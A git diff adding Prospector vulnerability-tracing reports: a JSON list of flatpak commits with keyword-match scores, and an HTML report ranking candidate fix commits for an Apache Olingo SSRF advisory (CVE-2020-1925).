the advisory description contain the following keywords: option", + "relevance": 4 + } + ] + }, + { + "commit_id": "fd5e4064731917ed96c531f3983c10b25e79e57a", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722541182, + "hunks": 1, + "message": "repo-utils: Don't take ownership of the extra data source name Only get a pointer to the name which is valid as long as the input GVariant is valid. Closes: https://github.com/flatpak/flatpak/issues/5883", + "changed_files": [ + "common/flatpak-repo-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source, close, point", + "relevance": 4 + } + ] + }, + { + "commit_id": "efa48c1c21e4eadf03e3a4bbd944bd85b00f0898", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722523631, + "hunks": 6, + "message": "dir: Use same mechanism for get_system/user_default_base_dir_location Also add the same missing valgrind suppression for the system dir location.", + "changed_files": [ + "common/flatpak-dir.c", + "tests/flatpak.supp" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: default, user, system", + "relevance": 4 + } + ] + }, + { + "commit_id": "b026910d1c18900e9daf07c429f7e901eb1c3f20", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1721667483, + "hunks": 13981, + "message": "Update translation files for release Signed-off-by: Simon McVittie ", + "changed_files": [ + "po/cs.po", + "po/da.po", + "po/de.po", + "po/en_GB.po", + "po/es.po", + "po/fr.po", + "po/gl.po", + "po/hi.po", + "po/hr.po", + "po/hu.po", + "po/id.po", + "po/ka.po", + "po/nl.po", + "po/oc.po", + "po/pl.po", + "po/pt.po", + "po/pt_BR.po", + "po/ro.po", + "po/ru.po", + "po/sk.po", + "po/sv.po", + "po/tr.po", + "po/uk.po", + "po/zh_CN.po", + "po/zh_TW.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update, file, release", + "relevance": 4 + } + ] + }, + { + "commit_id": "158958487528620dd4511364d56724781333e8b2", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1721666856, + "hunks": 3, + "message": "Prepare v1.15.9 Signed-off-by: Simon McVittie ", + "changed_files": [ + "NEWS", + "meson.build" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build", + "relevance": 4 + } + ] + }, + { + "commit_id": "75b21fb23ebdf2045d00aa558c729bcefd78b267", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1721367899, + "hunks": 87, + "message": "Update ka.po", + "changed_files": [ + "po/ka.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update", + "relevance": 4 + } + ] + }, + { + "commit_id": "c374ff37de94736225cf860c0b2f33f91ad98d5f", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1721664008, + "hunks": 248, + "message": "Update Brazilian Portuguese translation", + "changed_files": [ + "po/pt_BR.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update", + "relevance": 4 + } + ] + }, + { + "commit_id": "4bf4f32c164f368202df494b96bbfc38fc0daa0e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1717057567, + "hunks": 1, + "message": "dir: Make sure all parse_ref_file out params are consistently cleared parse_ref_file() cleared all its out params to NULL, with the exception of collection_id_out. Make sure to clear this one as well to avoid surprises in the future. Fixes commit ae7d96037 that added collection ID support to flatpakref.", + "changed_files": [ + "common/flatpak-dir.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: support, commit, avoid, file", + "relevance": 4 + } + ] + }, + { + "commit_id": "4add324060ac219eaa575f174f467b900b1f8040", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714673813, + "hunks": 1, + "message": "prune: Include flatpak-variant-private.h before its -impl-private.h This ensures that declarations are visible. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-prune.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: include", + "relevance": 4 + } + ] + }, + { + "commit_id": "25d38bab0a486f0f6555cba235ce59ae37cd8d96", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714675594, + "hunks": 3, + "message": "utils: Remove unnecessary flatpak-ref-utils-private.h inclusion Include flatpak-ref-utils-private.h explicitly in each remaining module that needs it (mostly for FlatpakDecomposed). Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-ref.c", + "common/flatpak-run-private.h", + "common/flatpak-utils-private.h" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: need, include", + "relevance": 4 + } + ] + }, + { + "commit_id": "97cddd6e4832a31bddff753e8f3f783b96642d07", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714673497, + "hunks": 13, + "message": "utils: Move more repository functionality to repo-utils This further reduces circular dependencies: utils no longer has a circular dependency with repo-utils or xml-utils. Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-builtins-build-sign.c", + "app/flatpak-builtins-remote-add.c", + "common/flatpak-remote.c", + "common/flatpak-repo-utils-private.h", + "common/flatpak-repo-utils.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: build", + "relevance": 4 + } + ] + }, + { + "commit_id": "3271f9c25d63bdf71951f16724e0f079df349744", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714673412, + "hunks": 2, + "message": "utils: Export flatpak_get_compat_arch() This will allow its caller to be moved into repo-utils. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + } + ] + }, + { + "commit_id": "06970e015f1abeeeecd065c8d36651d319beb5a9", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714672917, + "hunks": 14, + "message": "utils: Move more repository functionality into repo-utils Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-builtins-build-bundle.c", + "app/flatpak-builtins-build-commit-from.c", + "app/flatpak-builtins-build-export.c", + "app/flatpak-builtins-build-import-bundle.c", + "app/flatpak-builtins-create-usb.c", + "common/flatpak-repo-utils-private.h", + "common/flatpak-repo-utils.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c", + "po/POTFILES.in" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: build, file, commit", + "relevance": 4 + } + ] + }, + { + "commit_id": "31590889f8900e0385b752ad5837326be42640d4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714672354, + "hunks": 2, + "message": "ref-utils: Move flatpak_get_arch_for_ref() to here The declaration was already in flatpak-ref-utils-private.h. Fixes: 5dae1fc6 \"Break out ref helper functions to separate file\" Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-ref-utils.c", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + } + ] + }, + { + "commit_id": "485f6bc5c538f928d2b5bee0f8daca1b9b3cd860", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714663900, + "hunks": 3, + "message": "common: Explicitly include ostree.h where needed A subsequent commit will remove it from flatpak-utils-private.h. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-json-oci.c", + "common/flatpak-prune-private.h", + "common/flatpak-ref-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: commit, need, include", + "relevance": 4 + } + ] + }, + { + "commit_id": "14db9d48cf39a3d854459cafb3fc1309bedb71a2", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1684329035, + "hunks": 25, + "message": "common: Break out the parts of flatpak-utils that deal with FlatpakDir This breaks the circular dependency between flatpak-utils and flatpak-dir. There is still a circular dependency between flatpak-dir and flatpak-dir-utils, but I don't want to make flatpak-dir even larger. Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-builtins.h", + "common/flatpak-dir-private.h", + "common/flatpak-dir-utils-private.h", + "common/flatpak-dir-utils.c", + "common/flatpak-dir.c", + "common/flatpak-oci-registry-private.h", + "common/flatpak-repo-utils-private.h", + "common/flatpak-run.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c", + "common/meson.build", + "po/POTFILES.in" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: meson, build, file", + "relevance": 4 + } + ] + }, + { + "commit_id": "722fec45818b2f39f74a91684610e054ea619c1e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714674923, + "hunks": 1, + "message": "utils: Include flatpak-metadata-private.h instead of -run-private.h This avoids a circular dependency between -run and -utils. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: avoid, include", + "relevance": 4 + } + ] + }, + { + "commit_id": "7c63731349b31b6763e6daef61b4a426c4964993", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1717553866, + "hunks": 1, + "message": "doc: Correct special value for flatpak config To include all languages, the languages key must be set to `*all*`, not `all`. That was apparently intended to provide symmetry with how the value is represented in the output of `flatpak config`.", + "changed_files": [ + "doc/flatpak-config.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: represent, intend, include, provide", + "relevance": 4 + } + ] + }, + { + "commit_id": "1b4ff8d52607a3c951b507b1cc42f3f78fa5ee1f", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1716889430, + "hunks": 1, + "message": "flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals can be used by apps to monitor whether they need to emit signals on the a11y bus or not. This can very significantly reduce chattery on the a11y bus, and at least WebKit relies on these signals to be broadcasted in. The PR https://github.com/flatpak/xdg-dbus-proxy/pull/61 is required for this changeset to work as expected, but it can land independently as `--broadcast` is supported by xdg-dbus-proxy.", + "changed_files": [ + "common/flatpak-run-dbus.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: change, require, allow, need, support, work", + "relevance": 4 + } + ] + }, + { + "commit_id": "cee83455e609f424f4066d9f5e29ad299c9348d3", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1717858417, + "hunks": 1169, + "message": "Hindi Translation Update Fixes and update for Hindi translation.", + "changed_files": [ + "po/hi.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update", + "relevance": 4 + } + ] + }, + { + "commit_id": "1dbaa59a85f5b104bf9d62682fc6bc5a20cdecb2", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1718536882, + "hunks": 251, + "message": "Update Chinese translation", + "changed_files": [ + "po/zh_CN.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: update", + "relevance": 4 + } + ] + }, + { + "commit_id": "24a4c2464ece30931b6b56c4a053682056deb3d4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1719391906, + "hunks": 2, + "message": "dir: Free the returned GVariant of g_dbus_connection_call_sync Closes: https://github.com/flatpak/flatpak/issues/5856 Fixes: 9532c8d3 (\"dir: Reload DBus daemon config to ensure services get picked up\") Signed-off-by: Sebastian Wick ", + "changed_files": [ + "common/flatpak-dir.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: close", + "relevance": 4 + } + ] + }, + { + "commit_id": "c12a5da619be8d9f592d559a9b63ce57fd2bcb6a", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1718886570, + "hunks": 3, + "message": "run: Support zoneinfo dirs from $TZDIR env", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: support", + "relevance": 4 + } + ] + }, + { + "commit_id": "36b6c86065b85eee5236c00becc466da959d3624", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1718886362, + "hunks": 4, + "message": "common: Simplify tzdir logic in flatpak_get_timezone", + "changed_files": [ + "common/flatpak-utils-base.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time", + "relevance": 4 + } + ] + }, + { + "commit_id": "9f1e6dc3706631f85955a384ce35f6d69c1067b0", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1721147597, + "hunks": 0, + "message": "Merge pull request #5800 from smcv/libglnx-into-subtree Convert libglnx, variant-compiler into `git subtree`", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "5800": "Update submodule: libglnx 2024-04-20 #5799 Ability to build DXVK Native in distro environments doitsujin/dxvk#4040 missing Variant Schema Compiler from subprojects folder #5845" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 5800", + "relevance": 2 + } + ] + }, + { + "commit_id": "31291dc9a693267ec557f16f3f962e386854cac9", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1633712742, + "hunks": 2, + "message": "run: Use CVE identifiers to reference former vulnerabilities These are more globally-recognised than GHSA IDs. Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "17cd5a24e6dbc34fc7b9ba08fea0f72878005637", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328968, + "hunks": 3, + "message": "tests: Constify test data where it's easy to do so Signed-off-by: Simon McVittie ", + "changed_files": [ + "tests/testcommon.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "057c42fe2d308bccfb47efd99312b2252048f7a4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328851, + "hunks": 1, + "message": "run-dbus: Slightly increase const-correctness Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-run-dbus.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "1aeb381e9189c4a49952e7c3fe699c3918ec0e9e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328732, + "hunks": 2, + "message": "Constify tables of immutable strings Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-dir.c", + "common/flatpak-run.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "fc1b32e97b1bfcea91bb861576671550f3b58a1e", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328604, + "hunks": 2, + "message": "table-printer: Slightly increase const-correctness Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-table-printer.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "f7003e00c0e3297eee00271576449ad1154af821", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1724328587, + "hunks": 2, + "message": "complete: Slightly increase const-correctness Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-complete.c", + "app/flatpak-complete.h" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "0d61023710a7c6248f151863f1b8d892d952d224", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723741925, + "hunks": 3, + "message": "test-run: Make it more obvious that we are setting G_DEBUG empty shellcheck warning SC1007. Signed-off-by: Simon McVittie ", + "changed_files": [ + "tests/test-run.sh" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "7b096b4929b52f511a1ca1de0ed69180e3d5dcbb", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722539814, + "hunks": 1, + "message": "portal: Free the ops from flatpak_transaction_get_operations The returned list is transfer full so we use g_autolist for a deep cleanup.", + "changed_files": [ + "portal/flatpak-portal.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [] + }, + { + "commit_id": "3e2b76a351d94d04e3aeac2031a9ce02f8b0cedb", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1722539766, + "hunks": 10, + "message": "revokefs: Clean up struct fuse_args with fuse_opt_free_args", + "changed_files": [ + "revokefs/main.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10" + ], + "matched_rules": [] + }, + { + "commit_id": "33212f5c119eb90519a543f3ecf767483485a9e6", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714675661, + "hunks": 1, + "message": "utils: Remove flatpak-variant-private.h, no longer necessary Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-utils-private.h" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [] + }, + { + "commit_id": "87360c96e0a5db63919774ef8d550a564abcc4a5", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714673729, + "hunks": 8, + "message": "utils: Move remaining direct ostree dependencies to repo-utils Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-bundle-ref.c", + "common/flatpak-repo-utils-private.h", + "common/flatpak-repo-utils.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [] + }, + { + "commit_id": "1b85a2c090bd0f1567455df6bb675e3f2c5453f4", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714673061, + "hunks": 5, + "message": "utils: Move more summary parsing into repo-utils Signed-off-by: Simon McVittie ", + "changed_files": [ + "common/flatpak-repo-utils-private.h", + "common/flatpak-repo-utils.c", + "common/flatpak-utils-private.h", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [] + }, + { + "commit_id": "3c82620babb5da0cb015f6ddf8828053132e1ba7", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1714675119, + "hunks": 11, + "message": "repo-utils: New header for some implementation details of a repository This will reduce circular dependencies involving FlatpakDir. Signed-off-by: Simon McVittie ", + "changed_files": [ + "app/flatpak-builtins-remote-info.c", + "app/flatpak-builtins-remote-ls.c", + "app/flatpak-builtins-repo.c", + "common/flatpak-dir-private.h", + "common/flatpak-dir.c", + "common/flatpak-oci-registry.c", + "common/flatpak-remote-ref.c", + "common/flatpak-repo-utils-private.h", + "common/flatpak-transaction.c", + "common/flatpak-utils.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [] + }, + { + "commit_id": "da71c451fc44248d1f1b471ce0f580689ea14254", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1718886293, + "hunks": 2, + "message": "common: Add flatpak_get_tzdir() helper", + "changed_files": [ + "common/flatpak-utils-base-private.h", + "common/flatpak-utils-base.c" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "1.15.10", + "1.15.9" + ], + "matched_rules": [] + } + ], + "processing_statistics": { + "core": { + "git": { + "git": { + "Git": { + "create_commits": { + "execution time": [ + 0.011537432670593262, + 0.011356359347701073, + 0.009442172944545746 + ] + } + } + } + }, + "commit preprocessing": { + "execution time": [ + 0.21622662246227264 + ] + }, + "candidates analysis": { + "execution time": [ + 0.3231157008558512 + ] + }, + "save commits to backend": { + "execution time": [ + 0.02379462495446205 + ] + }, + "execution time": [ + 3.097227917984128 + ] + }, + "rules": { + "active": [ + 17 + ], + "matches": [ + 127 + ] + }, + "LLM": { + "repository_url": { + "execution time": [ + 1.61565319634974 + ] + }, + "commit_classification": { + "execution time": [ + 0.016995303332805634, + 0.015816012397408485, + 0.015243278816342354, + 0.014765668660402298, + 0.014675449579954147, + 0.015074731782078743, + 0.014973310753703117, + 0.014576490968465805, + 0.01493077352643013, + 0.014821510761976242 + ] + } + } + } +} \ No newline at end of file diff --git a/prospector/pipeline/reports/report.html b/prospector/pipeline/reports/report.html new file mode 100644 index 000000000..e69de29bb diff --git a/prospector/pipeline/reports/report1.html b/prospector/pipeline/reports/report1.html new file mode 100644 index 000000000..38a516906 --- /dev/null +++ b/prospector/pipeline/reports/report1.html @@ -0,0 +1,4518 @@ + + + + + + + + + + + + + + + + Prospector Report + + + + +
    +
    +
    + + +

    Filters

    +

    + Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. +

    + +
    +
    + +
    +
    + +
    +
    + + + + +
    +

    Advisory Record

    + CVE-2020-1925
    +

    Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.

    + + +
    Possible relevant files/methods
    +

    +

      + +
    • AsyncRequestWrapperImpl
    • + +
    • DELETE
    • + +
    • GET
    • + +
    • SSRF
    • + +
    • URL
    • + +
    +

    + + +
    Other relevant keywords
    +

    + +

  • allow
  • + + +
  • apache
  • + + +
  • asyncrequestwrapperimpl
  • + + +
  • attack
  • + + +
  • attacker
  • + + +
  • call
  • + + +
  • class
  • + + +
  • client
  • + + +
  • connect
  • + + +
  • delete
  • + + +
  • header
  • + + +
  • implement
  • + + +
  • include
  • + + +
  • location
  • + + +
  • make
  • + + +
  • olingo
  • + + +
  • provide
  • + + +
  • read
  • + + +
  • request
  • + + +
  • resource
  • + + +
  • send
  • + + +
  • server
  • + + +
  • trick
  • + + +
  • version
  • + + +

    + +
    + + + +
    +
    +
    Execution Statistics
    + +
    +
    +
    • core
      • retrieval of commit candidates
        • execution time = 0.008254 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.008059 seconds
      • candidates = 35 commits
      • commit preprocessing
        • commit preprocessing
          • preprocessed commits = 30 commit
        • execution time = 11.4 seconds
      • candidates analysis
        • execution time = 22.4 seconds
      • execution time = 44.66 seconds
    • rules
      • active = 17 rules
      • matches = 87 matches
    • LLM
      • repository_url
        • execution time = 2.781 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 2.235208823531866 seconds
          • deviation = 0.6022563552043189 seconds
          • median = 2.506361285224557 seconds
          • count = 10
          • sum = 22.35208823531866 seconds
    +
    +
    + +
    + +
    +
    +
    +
    +

    Prospector Report

    +
    + + +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1416] Better header processing + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 90 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f9aebde557b791f275d6156d8bec12ac334425d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: OLINGO-1416
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      +
    • + +
    • +
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: header
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1416
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1416] Better header processing
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncBatchRequestWrapperImpl.java + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1411] Better header parsing * [OLINGO-1411] Better header parsing + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 58 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
